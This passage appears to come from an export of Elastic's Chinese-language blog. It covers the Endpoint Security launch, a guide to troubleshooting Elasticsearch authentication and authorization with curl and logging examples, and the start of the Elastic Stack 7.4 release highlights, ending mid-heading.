<h2><strong>亲自试用</strong></h2>
<ol>
	<li>开始为期 14 天的 <a href="/cn/elasticsearch/service">Elasticsearch 服务</a>免费试用，让您对 IoT 监测解决方案有个基础的了解。</li>
	<li>转到 Github，<a href="https://ela.st/machinebeat">下载</a> Linux 或 Windows 版本的Machinebeat。&nbsp;</li>
	<li>按照 Readme 中 <strong>Configuration</strong> 部分的所示步骤，配置与免费 OPC-UA 服务器的连接或输入连接我们自己 OPC-UA 服务器的凭据。或者，您也可以按照步骤配置 MQTT 代理，并通过该代理从各种传感器收集数据。</li>
	<li>一旦数据开始流动，便可<a href="/guide/en/kibana/7.4/tutorial-build-dashboard.html">构建您自己的仪表板</a>，以可视化/分析数据。<a href="/cn/what-is/kibana-canvas">Canvas</a> 是可视化数据的另一个很好的替代方案，支持您使用实时数据创建演示幻灯片。如需了解更多信息，可以参考 <a href="/cn/blog/getting-started-with-canvas-in-kibana">Canvas 入门</a>博客。</li>
</ol>
<p>让我们知道您的想法！请登录我们的<a href="https://discuss.elastic.co">讨论论坛</a>，或者在 <a href="https://github.com/elastic/Machinebeat">GitHub</a> 中输入一个 PR。
</p>

iiot-blog-banner.jpg

iiot-blog-thumb.jpg

Industrial Internet of Things (IIoT) with the Elastic Stack

物联网 (IIoT) 与 Elastic Stack

我们今天兴奋地宣布推出 Elastic Endpoint Security。

<p>我们今天兴奋地宣布推出 <a href="/cn/endpoint-security">Elastic Endpoint Security</a>，这款产品的面世与 Elastic 并购 Endgame 息息相关，因为 Endgame 在基于 MITRE ATT&CK™ 矩阵预防、检测并响应终端威胁领域里勇于开拓，是一家<a href="https://www.endgame.com/mitre-attck-coverage">业内广泛认可的领军企业</a>。Elastic 将 <a href="/cn/siem">SIEM</a> 和终端安全整合成一个统一的解决方案，便于公司/组织自动且灵活地对威胁进行实时响应，无论是云端环境、本地部署，还是混合环境，都能轻松应对。而且，今天 Elastic 还宣布终止 Endgame 按终端计价模式。
</p><p>“目前在终端安全领域中，主要有两大趋势，第一是强大的分析后端十分重要，第二是越来越多的用户将 MITRE ATT&CK 框架作为通用标准；由于这两大趋势的出现，所以用户们现在需要更加重视威胁猎捕和事件响应用例。”451 Research 的首席分析师 Fernando Montenegro 说道，“Elastic 对 Endgame 的并购很好地顺应了这些趋势的发展，通过将 SIEM 和终端安全进行整合， Elastic 可以帮助所有公司/组织在这些用例的高效率方面更上一层楼。”
</p><p>Endgame 已通过了大量独立测试机构（包括 NSS Labs、SE Labs、MITRE 等）的验证，它是可以同时提供预防和检测的十分强大的解决方案。<span style="background-color: initial;">这一点从其最近在 </span><a href="https://www.av-comparatives.org/wp-content/uploads/2019/10/avc_biz_2019_09_factsheet_en.pdf">AV Comparatives</a><span style="background-color: initial;"> 独立防病毒测试中的优异表现便可略见一斑；在该项测试中，Endgame 无需连至云端便阻止了 99.7% 的恶意软件，在预防真正威胁方面展示出了卓越的保护性能。</span>
</p><p>此外，Elastic Endpoint Security 将向 Elastic Stack 中引入<a href="https://www.endgame.com/blog/technical-blog/heres-how-we-do-numbers">终端安全数据领域中的这个异常强大的数据源</a>（即原始终端事件数据和告警），使其与既有的日志、安全、APM 和基础设施事件的收集过程发挥协同效用。当前威胁的平均潜伏时间已超过 100 天，而使用 Elasticsearch 可以高效地传输、扩展和存储数据，这能为用户带来了诸多现实利益，能帮助他们轻松快速地搜索所有这些不同类型的安全相关数据。相应地，终端安全还能够很好地与 Elastic Stack 配合，从而让您尽早阻止威胁，并快速地检测攻击并进行响应。
</p><p>“用户应该能够从所部署的工具中受益更多。因此，我们今天才向用户推出了这个立即可用的巨大福利，让他们只需通过轻松的使用一个统一的技术栈，即可搜索、存储、分析数据，并确保数据的安全性。”Elastic 创始人兼首席执行官 Shay Banon 说道，“我们的愿景是将搜索应用于多样化的用例，而这次收购正是我们在实现这个愿景的过程中，所迈出的激动人心的一步，因为我们现在已经能够为用户提供出色的威胁猎捕解决方案和卓越的终端保护功能了。”
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltc6d5cb9a33c0de89/5d9fe365b517f10ef0a935d0/screenshot-elastic-siem-endpoint-security-data-elasticsearch-2-optimized.jpg" data-sys-asset-uid="bltc6d5cb9a33c0de89" alt="screenshot-elastic-siem-endpoint-security-data-elasticsearch-2-optimized.jpg"><br>
</p><h2>我们在 SIEM 和终端安全领域的发展历程
</h2><p>单独的使用各种单点工具并不能确保公司/组织的信息安全，如果没有集中式的管理控制平台，就无法基于这些工具所采集到的数据进行响应操作。安全团队面临正面临着诸多挑战：数据孤岛、查询速度慢，以及由于缺乏上下文而的相关性，从而导致分析质量不佳。公司/组织业已知道：他们需要实时的采取行动；他们需要通过一种毫无束缚的方式采集和存储所有类型的数据；他们还需要生成高关联度的结果，并自动将这些结果应用到已有和新型的安全工作流程里。
</p><p>大约两年前，我们启动了一项重要的任务，来帮助公司/组织推动安全方面的工作。尽管用户已经采用了 Elastic Stack ，并将其用与很多用例（例如威胁猎捕、欺诈检测和安全监测）的安全解决方案，但我们希望用户可以更轻松地将我们的产品部署到安全用例中。我们首先与社区携手开发了 Elastic Common Schema (ECS)，让用户能够轻松地将来自网络和主机等各种来源的数据进行标准化。然后我们推出了 <a href="/cn/siem">Elastic SIEM</a>，这是世界上首款免费开源的 SIEM 方案；但我们并未就此止步。
</p><p>现在，如果为 Elastic SIEM 部署数据收集代理的话，您在保护终端的同时，还可以摒弃那些无法进行实时响应，无法防止相关伤害和损失的，效率低下的多种解决方案。
</p><p>“我们的目标是尽早的阻止攻击。这就需要在终端上应用出色的预防方案和极高级别的保真度检测。通过将 Endgame 业界领先的终端保护技术与 Elastic SIEM 相结合，我们为安全运营部门和威胁猎捕团队打造了一个交互式工作空间，让他们能够在这里阻止攻击并保护公司/组织的安全，”Nate Fick 说道，他之前是 Endgame 的首席执行官，目前任 Elastic Security 部门的总经理。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt1f87637fb7870298/5d9fe27bf8ca980f8717f6f8/screenshot-resolver-trickbot-enrichments-showing-defender-shutdown-endgame-2-optimized.png" data-sys-asset-uid="blt1f87637fb7870298" alt="screenshot-resolver-trickbot-enrichments-showing-defender-shutdown-endgame-2-optimized.png"><br>
</p><h2>终止按终端计价模式
</h2><p>除了将全球首个免费的开源 SIEM 方案与先进的终端保护技术整合到一起，Elastic 还终止了 Endgame 按终端计价的模式。
</p><p>“为什么用户要计算他们需要保护的设备数量呢？再或者，用户为什么要按照自己的预算选择能将威胁情报数据存储多少天呢？”Shay Banon 补充道，“我们希望公司/组织能够获得最好的保护方案，无论在什么地方都可以使用，并且不会由于按终端计价模式，而处于不利的形式。”
</p><p>针对所使用的任何其它解决方案，从 Elastic Logs、APM、SIEM、App Search、Site Search、Enterprise Search，到现在的 Endpoint Security，Elastic 客户都仅需按照一致且透明的定价框架为资源容量付费即可。这样可以确保公司/组织能够从自身数据中收获最大价值。通过 Elastic Endpoint Security，客户能够为他们需要的全部终端（无数量上限）提供全面保护，还可以体验完整的数据收集和传输体验，从而无需在二者之间进行艰难取舍。
</p><h2>安全领域领导者对 Elastic Endpoint Security 的评价
</h2><p><strong>Andrew Stokes，副主任暨信息安全主管，德州农工大学</strong>
</p><p>“我们十分重视响应速度，以及从历史数据的分析中汲取经验教训的能力。Elastic Endpoint Security 大大降低了我们采取纠正措施所需的平均时间，从旧款防病毒方案的 7 天降到了现在的 30 分钟；Elastic Stack 为我们提供了一种杰出方法来存储和分析数据并针对这些数据采取应对措施，这些都远远超越了市场上的所有竞争对手。通过将 Elastic Endpoint Security 和 Elastic Stack 整合到以情报为主导的单一平台，可以进一步简化和自动化我们的安全运营工作。”
</p><p><strong>Anthony Diaz，新兴服务部副总裁，Optiv</strong>
</p><p>“Elastic 将新一代 SIEM、强大的可视化引擎和业内领先的终端产品集于一体，而且所有这些都以世界领先的搜索技术为后盾。这一结合为企业应对越来越复杂的网络威胁奠定了稳定基础。Elastic 的愿景是将所有这些组件都包括在开源生态系统中，这是一个大胆革新却又切实可行的想法，有助于所有规模的公司/组织充分利用所有数据来满足自身的网络安全需求。”
</p><p><strong>Sebastian Mill，全球开发部首席技术官，Infotrack</strong>
</p><p>“在 InfoTrack，我们意识到终端数据无比重要，因为我们可用其来了解运行状况并确保基础设施一直保持安全。为了实现这些目标，我们的创新团队业已将 Auditbeat 纳入我们的环境中，但 Elastic Endpoint Security 的推出可帮助我们达到全新水平。一想到既可以借助 Elastic Endpoint Security 来阻止威胁，还可以将安全事件数据与 Elastic 某些基于 Machine Learning 的异常检测功能搭配使用，我们就觉得异常兴奋。这是一套极其出众的设置方案。”
</p><h2>资源
</h2><p>如果您希望亲自体验 Elastic Endpoint Security，并详细了解我们的进展，欢迎参加我们在美国、EMEA（欧洲、中东和非洲）及亚太地区举行的 <a href="/cn/elasticon/">Elastic{ON} Tour</a> 大会。
</p><ul>
	<li><a href="/cn/endpoint-security">Elastic Endpoint Security 解决方案页面</a>
	</li>
	<li><a href="https://www.endgame.com/resource/product-info/pdf/endgame-endpoint-protection-platform">Elastic Endpoint 文档</a>
	</li>
	<li><a href="/cn/siem">Elastic SIEM 解决方案页面</a>
	</li>
	<li><a href="/guide/en/siem/guide/current/index.html">Elastic SIEM 文档</a>
	</li>
	<li><a href="https://discuss.elastic.co/c/siem">Elastic SIEM 社区论坛</a>
	</li>
	<li><a href="/cn/webinars/introducing-elastic-siem">Elastic SIEM 在线研讨会录像</a></li>
</ul>

endgame-blog-post.png

endgame-blog-thumbnail.png

Introducing Elastic Endpoint Security

Elastic Endpoint Security 隆重推出

条分缕析 Elasticsearch 中授权和身份验证的运行方式。详细了解谁可以访问，以及他们可以（不可以）看到哪些数据。

<p>我在 Elastic 工作已经 4 年多了，其中有三年半都在支持和咨询部门工作，最近半年在销售部工作。然而，无论我在哪个部门，用户向我询问最多的问题都是如何确保 Elasticsearch 的安全性。Elasticsearch 支持哪种类型的身份验证？如何设置？如何确保用户不会看到他们不应看到的数据？我撰写此篇博文的目的就是回答这些问题，同时提供一些指导以帮助您解决安全功能配置过程中的某些常见问题。
</p><p>首先，介绍一下背景。如果是 Elasticsearch 的老用户，您肯定知道我们之前曾通过 X-Pack 中一个名为 <a href="/cn/blog/you-know-for-security-shield-goes-ga">Shield</a> 的插件提供安全功能。现在，安全功能（<a href="/cn/what-is/open-x-pack">以及 X-Pack 中的其他功能</a>）已集成到 Elastic Stack 中，而且最常用功能在<a href="/cn/blog/security-for-elasticsearch-is-now-free">默认分发版本中免费</a>提供。安全功能包括<a href="/guide/en/elasticsearch/reference/7.4/encrypting-communications.html">加密通信</a> (TLS/SSL)、<a href="/guide/en/elasticsearch/reference/7.4/setting-up-authentication.html">身份验证</a>（原生、LDAP、SSO 等）、<a href="/guide/en/elasticsearch/reference/7.4/authorization.html">授权</a>（RBAC、ABAC 等等）、<a href="/guide/en/elasticsearch/reference/7.4/ip-filtering.html">IP 筛选</a>、<a href="/guide/en/elasticsearch/reference/7.4/auditing.html">审计日志</a>，<a href="/guide/en/elasticsearch/reference/7.4/elasticsearch-security.html">等等</a>。本篇博文将会关注身份验证和授权。
</p><h2>Elasticsearch 中的身份验证</h2><p>简单来说，如果用户或 API 想访问 Elastic，其必须<em>完成身份验证</em>。
</p><p>Elasticsearch 为多种安全方法提供原生支持，例如：
</p><ul>
	<li><a href="/guide/en/elasticsearch/reference/7.4/native-realm.html">原生</a>用户身份验证</li>
	<li><a href="/guide/en/elasticsearch/reference/7.4/active-directory-realm.html">活动目录</a>用户身份验证</li>
	<li><a href="/guide/en/elasticsearch/reference/7.4/file-realm.html">基于文件的</a>用户身份验证</li>
	<li><a href="/guide/en/elasticsearch/reference/7.4/ldap-realm.html">LDAP</a> 用户身份验证</li>
	<li><a href="/guide/en/elasticsearch/reference/7.4/pki-realm.html">PKI</a> 用户身份验证</li>
	<li><a href="/guide/en/elasticsearch/reference/7.4/saml-realm.html">SAML</a> 身份验证</li>
	<li><a href="/guide/en/elasticsearch/reference/7.4/kerberos-realm.html">Kerberos</a> 身份验证</li>
</ul><p>如果上面这些均不适用，您甚至还可以创建<a href="/guide/en/elasticsearch/reference/7.4/custom-realms.html">自己的集成方法</a>。然而，我们一般建议用户使用既有集成方法，因为这些方案均经过验证并且我们不断针对它们进行开发以确保提供相应支持。
</p><p>Elasticsearch 中最基本的安全组件是 <a href="/guide/en/elasticsearch/reference/7.4/realms.html#realms">Realm，验证用户身份并解决相关问题时便会用到 Realm</a>。上面列出的每种身份验证方法均可视为一个 Realm。而且，为了能够正常运行，Elasticsearch 使用 <a href="/guide/en/elasticsearch/reference/7.4/realm-chains.html">Realm 链路</a>。Realm 链路是一个由已配置 Realm 构成且已对其进行优先级排序的列表（从第 1 个到第 N 个 Realm），按偏好程度升序排列。当用户尝试访问 Elasticsearch 时，此请求会按顺序遍历列表，直到身份验证成功或者没有 Realm 可供尝试。
</p><p>从本质上来说，这一过程会尝试列表中的配置的第一个 Realm，如果失败就尝试下一个，直至在其中一个 Realm 项上成功，或者尝试完毕整个列表中的所有 Realm。访问 Elasticsearch 过程中的这个第一步叫做身份验证。
</p><p>一旦用户身份验证成功，Elasticsearch 便会尝试给用户分配一个或多个角色。在身份验证过程中，基于用户的某些属性，可以通过静态或动态方式来为用户分配角色。按照对用户进行身份验证时所用 Realm 的类型，分配角色时所用的用户属性可以是他们在外部系统中的群成员身份，或者他们 Elasticsearch 用户名的前缀，等等。不仅如此，Elasticsearch 还有一项特色 <a href="/guide/en/elasticsearch/reference/7.4/run-as-privilege.html"><em>run as</em> functionality</a>（作为功能运行），借助此选项用户无需再次进行身份验证便能代表其他用户提交请求。
</p><p>身份验证阶段完成之后，下一步就是授权。您可以通过下图了解整个工作流程：
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt9b2001d36fce9b26/5d9c78fb230e52144ca9e36a/realm_chain.png" data-sys-asset-uid="blt9b2001d36fce9b26" alt="Elasticsearch 中的 Realm 链路" width="460" "="">
</p><h2>Elasticsearch 中的授权</h2><p>身份验证成功后，用户便会来到第二个安全检查点：<a href="/guide/en/elasticsearch/reference/current/authorization.html">授权</a>。授权流程用来确定可否允许用户执行某一请求，实现方法是<a href="/guide/en/elasticsearch/reference/7.4/mapping-roles.html">将用户映射</a>至<a href="/guide/en/elasticsearch/reference/7.4/defining-roles.html">预定义和/或用户定义的角色</a>。Elasticsearch 设置了一些默认角色，但您也可以为自己的用例创建特定角色。
</p><p>角色由下列内容组成：
</p><ul>
	<li>具有访问权限的用户列表</li>
	<li>集群权限</li>
	<li>全局权限</li>
	<li>索引权限</li>
	<li>应用程序权限</li>
</ul><p>在此第二阶段，Elasticsearch 会使用下列方法中的一种：</p><ul>
<li>我们推荐的方法是 <a href="/guide/en/elasticsearch/reference/7.3/security-api-put-role-mapping.html">role_mapping API</a>，因为它能让您基于 API 集中管理每个角色的映射关系。在 Elastic Cloud 上的 <a href="/cn/elasticsearch/service">Elasticsearch Service</a> 中，这是配置映射关系的唯一方法。</li>
<li>角色映射文件 (role_mapping.yml)，其位于每个节点内的<a href="/guide/en/elasticsearch/reference/7.4/settings.html">配置文件夹</a>中。</li>
</ul><p><code>role_mapping</code> API 需要由拥有正确权限来管理角色的用户进行调用。<code>Elastic</code> 用户拥有的 <code>superuser</code>（超级用户）角色便是一个示例，但是，您也可以为此目的创建一个特定角色。
</p><p>Realm 和角色的定义截然不同。Realm 和 Realm 链路用来进行身份验证，身份验证阶段之后，我们需要使用角色来对用户进行映射。虽然<strong>只</strong>会使用 Realm 链路中的<strong>单一</strong> Realm 来进行身份验证，但在第二个阶段中，同一用户可映射至一个或多个角色。这也称作基于角色的访问控制。
</p><h2>身份验证和授权问题的故障排查步骤</h2><p>现在已经了解了身份验证和授权过程的基础知识，我们接下来看一下您遇到任何问题时可以采取哪些故障排查步骤。
</p><h3>401 未授权</h3><p>如果试遍所有 Realm 后都无法完成身份验证，您可能会得到一条状态代码为 <code>401 未授权</code>的响应。针对已配置 Realm 列表尝试您的凭据时，最简单方法就是使用 <code>cURL</code>，并搭配一个可允许检查的旗标（例如 <code>-v</code>）。您可能会得到类似下面的响应：
</p><pre class="prettyprint">curl https://xxxxxx:9200 -u test:test -v 
&gt; User-Agent: curl/7.54.0 
&gt; Accept: */* 
&gt; 
&lt; HTTP/1.1 401 Unauthorized 
&lt; Content-Type: application/json; charset=UTF-8 
&lt; Date:Tue, 10 Sep 2019 15:59:33 GMT 
&lt; Www-Authenticate:Bearer realm="security" 
&lt; Www-Authenticate:ApiKey 
&lt; Www-Authenticate:Basic realm="security" charset="UTF-8" 
&lt; Content-Length:455 
&lt; Connection: keep-alive 
&lt; 
* Connection #0 to host 06618318cff64c829af1cd5a2beb91a5.us-east-1.aws.found.io left intact 
{"error":{"root_cause":[{"type":"security_exception","reason":"unable to authenticate user [test] for REST request [/]","header":{"WWW-Authenticate":["Bearer realm=\"security\"","ApiKey","Basic realm=\"security\" charset=\"UTF-8\""]}}],"type":"security_exception","reason":"unable to authenticate user [test] for REST request [/]","header":{"WWW-Authenticate":["Bearer realm=\"security\"","ApiKey","Basic realm=\"security\" charset=\"UTF-8\""]}},"status":401}%
</pre><p>这条错误消息能够帮您了解问题的根本原因。举例说明，对一些特定 Realm（例如 <a href="/guide/en/elasticsearch/reference/7.4/configuring-saml-realm.html">SAML</a>）而言，其需要 Kibana 或定制网络应用程序与 Elasticsearch 或身份服务提供商进行交互。
</p><h3>启用错误日志</h3><p>如果在设置完 Realm、Realm 链路、角色和角色映射后，您仍遇到问题，您可以轻松配置一些额外日志来获取我们之前所讲身份验证和授权过程的更多相关信息。
</p><p>使用集群 <code>settings</code> API 中的<a href="/guide/en/elasticsearch/reference/current/logging.html#configuring-logging-levels">日志配置</a>，您可为任何 Realm 定义任何日志级别。
</p><p>我们看一个有关 <a href="/guide/en/elasticsearch/reference/7.4/configuring-ldap-realm.html">LDAP Realm</a> 的示例。如果用户身份验证或授权失败，您可以设置下面的日志级别来获得详细的相关信息：
</p><pre class="prettyprint">PUT /_cluster/settings 
{ 
  "transient": { 
     "logger.org.elasticsearch.xpack.security.authc.ldap":"DEBUG",
     "logger.org.elasticsearch.xpack.security.authz":"DEBUG" 
   } 
}
</pre><p>这会将 LDAP 数据包的日志级别从默认提升为 DEBUG。您还可以启用 TRACE 日志，以获取更加详尽的信息，例如发送给服务器的每次 LDAP 调用，以及服务器给出的响应。使用我们的 <a href="https://github.com/elastic/elasticsearch/blob/master/x-pack/plugin/security/src/main/java/org/elasticsearch/xpack/security/authc">GitHub 存储库</a>，您可以找到在每个特定 REALM 上需启用的数据包名称。举例说明，下面便是<a href="https://github.com/elastic/elasticsearch/blob/master/x-pack/plugin/security/src/main/java/org/elasticsearch/xpack/security/authc/ldap/LdapRealm.java">适用于 LDAP Realm 的代码</a>。通过使用第一行代码，您可以看到确定日志级别时所用的数据包：
</p><pre class="prettyprint">package org.elasticsearch.xpack.security.authc.ldap;
</pre><p>启用之后，您立即便会收到大量日志行，例如下面的示例：
</p><pre class="prettyprint">[2019-09-12T08:41:20,628][DEBUG][o.e.x.s.a.l.LdapRealm   ] [xxxxxxx] user not found in cache, proceeding with normal authentication
[2019-09-12T08:41:21,180][TRACE][o.e.x.s.a.l.s.LdapUtils ] LDAP Search SearchRequest(baseDN='dc=xxx,dc=xxxx,dc=domain,dc=com', scope=SUB, deref=NEVER, sizeLimit=0, timeLimit=5, filter='(cn=vchatzig)', attrs={1.1}) =&gt; SearchResult(resultCode=0 (success), messageID=2, entriesReturned=1, referencesReturned=0) ([SearchResultEntry(dn='cn=xxxxxxx,ou=xxxxx,dc=intc,dc=xxxx,dc=domain,dc=com', messageID=2, attributes={}, controls={})])
</pre><p>从这里，我们可以看到 LDAP 正尝试从缓存（有可能已过期）中获得用户，然后再使用我们所提供的特定配置向服务器发送 <code>LDAP Search</code> 请求。您会收到诸多日志行，这些只是其中的一些示例。
</p><table style="background: #FFFFD2;">
<tbody>
<tr>
	<td>
		<p><strong>注意：</strong>启用日志对诊断来说有很大帮助，但对性能却并无裨益。我们建议您在确认一切都正常运行之后，将日志级别再调回默认值，可以使用下面的代码：
		</p>
		<pre class="prettyprint">PUT /_cluster/settings 
{ 
  "transient": { 
     "logger.org.elasticsearch.xpack.security.authc.ldap": null,
     "logger.org.elasticsearch.xpack.security.authz": null 
   } 
}
        </pre>
	</td>
</tr>
</tbody>
</table><p>请注意：在不同版本之间，这些数据包中有一些可能会存在差异，所以我们建议您仔细查看适用于您 Elasticsearch 特定版本的文档链接，以及针对此具体发布版本的 GitHub 类别链接。
</p><h3>常见的 SAML 问题</h3><p>SAML Realm 要求使用身份服务提供商（例如 Okta 或 Auth0）与网络应用程序（默认为 Kibana），这二者与 Elasticsearch 一起作为服务提供商。我们遇到的一些常见问题如下：
</p><ul>
	<li>服务提供商 (IdP) 配置中的断言消费服务 URL 设置不正确。通常您在服务提供商处需要配置的端点为 <em><strong>https://kibana.xxxx.com/api/security/v1/saml</strong></em></li>
	<li>服务提供商的元数据无法通过互联网访问。Elasticsearch 中 idp.metadata.path 配置的值（无论是本地部署，还是在 Elastic Cloud 中）应该能够通过 Elasticsearch/Kibana 运行所在的网络进行访问。如果不能访问，您需要从能够访问的主机上下载元数据，或者向 IdP 管理员索要这一元数据，然后将其作为本地文件添加到 Elasticsearch 中并加以参考。所显示的错误将会和下面内容类似：
	<pre class="prettyprint">Caused by: net.shibboleth.utilities.java.support.resolver.ResolverException: net.shibboleth.utilities.java.support.resolver.ResolverException:Non-ok status code 404 returned from remote metadata source https://xxxx.xxxx/xxx/yyyyyyyy/sso/saml/metadata
    </pre></li>
	<li>您完成了身份验证，但是用户却无法打开 Kibana。对于这一问题，我们一般建议复查用户的角色映射，以确认他们的至少一个角色能够<a href="/guide/en/kibana/7.4/xpack-security-authorization.html">访问 Kibana</a>。</li>
</ul><p>服务提供商配置与 Elasticsearch/Kibana 配置同等重要，我们必须随时注意是否有拼写错误，以及期望设置与所配置设置之间是否有不相符之处。尽管每个特定 IdP 都有其自身的设置，我们仍建议针对所需的每个特定设置仔细查阅相关<a href="/guide/en/elasticsearch/reference/7.3/saml-guide-idp.html">文档</a>。
</p><p>如需了解更多常见问题以及 SAML 的故障排查步骤，欢迎访问我们针对每个发行版本维护的<a href="/guide/en/elasticsearch/reference/current/trb-security-saml.html">故障排查文档</a>。
</p><h2>总结</h2><p>只要我们理解了背后的所有理念，Elasticsearch 中的身份验证其实非常简单。而且，要想了解哪些地方运行正常、哪些地方存在问题以及为何存在问题，这有时会十分困难，但是在本篇博文中，我们提供了很多选项让您能够深入查看。您可以使用我们的文档以<a href="/cn/blog/getting-started-with-elasticsearch-security">开始在 Elasticsearch 中使用安全功能</a>，也可以使用我们文档中针对安全性的<a href="/guide/en/elasticsearch/reference/current/security-troubleshooting.html">故障排查指南</a>。观看 Elastic 安全的高级产品经理的视频，他为您详细讲解了<a href="https://www.youtube.com/watch?v=nMh1HWWe6B4&feature=youtu.be">入门使用体验</a>。
</p><p>我们还建议您仔细查看我们的<a href="/cn/subscriptions">订阅页面</a>，以详细了解每个订阅级别中所包含的功能。最后，如果您遇到任何具体问题，欢迎联系我们的支持代表，也可在我们的<a href="https://discuss.elastic.co">讨论论坛</a>上发言。
</p><p>祝您轻松体验安全功能！
</p>

auth-blog-banner.jpg

auth-blog-thumb.jpg

Demystifying authentication and authorization in Elasticsearch

揭开 Elasticsearch 中身份验证和授权的神秘面纱

主要功能包括新的 Machine Learning 模型、快照生命周期管理、Elastic SIEM 中的网络攻击地图，等等。

<p>我们非常兴奋地宣布推出 Elastic Stack 7.4 正式版。我们在 7.4 版本中推出了数项新功能，这些新功能可以简化集群的管理和操作，引入了新的聚合和 Machine Learning 功能，而且还深入拓展了堆栈的安全体验。在解决方案方面，Elastic SIEM 为地理空间分析添加了实时地图，而且推出了 13 项预定义 Machine Learning 作业以检测出单独使用规则无法确定的大量安全威胁，这些都有助于改善安全操作工作流。
</p><p><a href="/cn/elasticsearch/service">7.4 版本已在我们的 Elasticsearch Service on Elastic Cloud（唯一提供这些新功能的托管型 Elasticsearch 产品）上推出</a>。或者，您也可以<a href="/cn/start">下载 Elastic Stack</a> 进行自我管理。
</p><p>完整功能描述详见各自的博客文章，我们在这里仅会简要介绍一下版本亮点。
</p><h2>快照生命周期管理 — 数据备份从未如此轻松</h2><p>快照/恢复是对 Elasticsearch 中的数据进行备份（和恢复）的最佳方法，在几乎所有生产部署中都是至关重要的一部分。在 7.4 中，我们推出了快照生命周期管理，通过这一功能，管理员能够定义相关政策来管理截取快照的时间和频率。这可以确保因灾难或其他原因而需要恢复数据时，可以使用最近的恰当备份。
</p><p>结合<a href="/cn/blog/elasticsearch-6-7-0-released">在 6.7 中推出的索引生命周期管理功能</a>，快照生命周期管理可以大大简化生产集群的操作。将这些功能构建为 Elastic Stack 原生功能后，管理员能够减少对外部工具和 Cron 作业的依赖性，获得可靠性能和可见性，并专注于定义对业务十分重要的数据保护政策。尽管一贯秉承 API 优先的构建原则，但我们也非常欣喜地针对快照生命周期管理提供了一个管理 UI（位于 Kibana 中的快照和恢复界面内）。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blte31e362731e9a841/5d84f8fb600e9f6db0b81bab/screenshot-slm-static-policy-7-4-0.png" data-sys-asset-uid="blt0c5082aa1da2edd3" alt="screenshot-elasticsearch-slm-policy-7-4-0.png">
</p><p><a href="/cn/blog/elasticsearch-7-4-0-released">有关完整详情，请参见 Elasticsearch 博客文章</a>。
</p><h2>Elastic Maps 和 Elastic SIEM — 专门为分析师设计的 Pew Pew 地图</h2><p>网络攻击地图（亦称为 Pew Pew 地图（让人联想到星球大战中的枪声音效））通常用来在参观数据中心的过程中吸引人们的眼球和兴趣。在 7.4 版本中，SIEM 应用程序推出了基于实时数据的 Pew Pew 地图，让分析师能够进行实时搜索、筛选和探索。尽管这样的地图在参观时十分惊艳，但这实际上是安全分析师的一项工具。在 Elastic SIEM 中，位置变成了另一种普通属性，可用来提供可见性并提高人们对网络状况的认识。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltb4c9f9eca67cc0ec/5d841c3500703b6e61881793/screenshot-siem-maps-pew-pew-7-4-0.png" data-sys-asset-uid="bltb4c9f9eca67cc0ec" alt="screenshot-siem-maps-pew-pew-7-4-0.png">
</p><blockquote>“自从采用这种方法，我们向 Elastic Stack 中采集的日志数据源越来越丰富多样了。我们的安全团队目前可以在 Kibana 中对全部安全相关数据进行搜索和可视化，从而有效地进行交互式调查。”Leaseweb Global B.V. 的 IT 安全经理 Wieger van der Meulen 说道，“此外，Elastic Stack 的 Machine Learning 功能可以让我们自动检测基础设施中的异常行为。随着集成到 SIEM 应用程序 7.4 版本中的 Machine Learning 作业集合实现扩展，我们期待着能够启用更加全面的异常检测集合。 通过采用 Elastic SIEM，我们能够以快得多的速度响应安全事件，并采取正确的缓解措施。”
</blockquote><p>由于这一功能直接基于 Elastic Maps 构建而成，所以它充分利用了我们在地理空间分析和搜索功能方面多年来的巨大投入。Elastic Maps 7.4 中的另外一项新功能是点到点连线，通过此项新功能您能够轻松地对数据间的联系进行可视化。通过将 Elastic Maps 直接嵌入到 SIEM 应用程序中，我们展示了新的点到点功能，而且用户社区还会继续受益于 Elastic Maps 中持续更新的改善功能。
</p><p><a href="/cn/blog/elastic-siem-7-4-0-released">有关完整详情，请参见 Elastic SIEM 博客文章</a>。
</p><h2>Machine Learning 学会新技巧
</h2><p>我们在 7.3 中推出了数据转换，让用户能够瞬间对 Elasticsearch 数据进行透视，并获得以实体为中心的索引。此转换功能（像变形金刚一样！）是一系列崭新的分析和 Machine Learning 方法（例如异常检测、回归分析、分类等等）的基石。在 7.4 版本中，通过添加回归分析 API 和向 Machine Learning 中添加异常检测 UI，我们实现了这一愿景，对此我们感到十分兴奋。
</p><p>我们在 Kibana 内的 Machine Learning 应用中添加了崭新的 Analytics（分析）标签页，以便您能够创建、管理并查看不合要求的检测作业。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt23007a3fe5d854fb/5d894a4eab057b791274d82d/screenshot-elasticsearch-machine-learning-analytics-tab-7-4-0.png" data-sys-asset-uid="blt23007a3fe5d854fb" alt="screenshot-elasticsearch-machine-learning-analytics-tab-7-4-0.png"><br>
</p><blockquote>“Elastic 的 Machine Learning 对我的团队而言至关重要，因为它就像一个强大的能力提升工具，让我们能够处理比过去多得多的数据。”PSCU 的欺诈情报经理 Jonathon Robinson 表示，“借助 Machine Learning，我们能够立刻确定欺诈活动。在几周内，我们便实现了巨大成本节约，仅上个月，便为我们的信用合作社直接节省了数百万美元。”
</blockquote><p>除了这两种新方法，我们还在 Elastic SIEM 中推出了数项（准确地说，是 13 项）崭新的开箱即用型 Machine Learning 作业，以监测网络上和 Auditbeat 所收集的主机活动数据中的常见安全威胁。示例包括检测异常进程、异常的网络端口活动，等等。
</p><p><a href="/cn/blog/elasticsearch-7-4-0-released">有关完整详情，请参见 Elasticsearch 博客文章</a>。
</p><h2>更深入拓展可观察性的各个支柱
